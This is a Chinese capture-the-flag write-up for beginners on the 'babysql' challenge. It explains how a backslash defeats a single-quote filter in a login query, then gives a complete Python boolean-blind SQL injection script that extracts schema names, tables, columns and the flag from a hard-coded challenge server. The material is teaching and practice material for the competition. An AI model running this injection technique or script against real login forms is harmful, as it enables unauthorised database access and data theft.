本专栏记录一些比赛中遇到的基础sql题目, 适合初学者阅读
极客大挑战 babysql
进去之后是个登录框,
image.png
随便输入用户密码,提示用户密码错误
image.png
尝试万能密码,发现单引号被过滤了
image.png
我们尝试使用反斜杠去做这道题:
image.png
image.png
注入成功, 使用反斜杠的原理是利用其转义作用, 这种方法一般用在闭合方式为单引号, 且单引号被过滤的情况, 试想一下, 如果sql语句为:
select name, password from user where name='{a}' and password='{b}';
而a=admin\, 反斜杠是不是将后面的单引号转义为普通字符单引号, 原sql就剩下三个单引号, 上式中
name="{a}' and password="
我们在令b=or 2 > 1 #, #会将最后一个单引号注释掉, 我们的代码就会被执行了。
原理说清楚了, 下面开始肝题吧, 这道题很明显是要做bool盲注, 注入点找到了, 下面我直接上脚本:
import requests
from urllib import parse
s = requests.Session()
url = 'http://47.100.242.70:4339/index.php'
flag = ''
def exp(i, j):
#爆库
payload = f"or (ascii(substr((SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA),{i},1))>{j})#"
#爆表
payload = f"or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='flag'),{i},1))>{j})#"
#爆字段
payload = f"or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fllag'),{i},1))>{j})#"
#爆段内容
payload = f"or (ascii(substr((select group_concat(fllllllag) from flag.fllag),{i},1))>{j})#"
#payload = f"or 2>1#"
#payload = parse.quote(payload)
data = {
"uname": "admin\\",
"pwd": payload
}
r = s.post(url, data=data)
if "your uname:admin and your pwd:123456" in r.text:
return True
else:
return False
for i in range(1, 5000):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print("flag: ", flag)
按照步骤运行一遍就行了。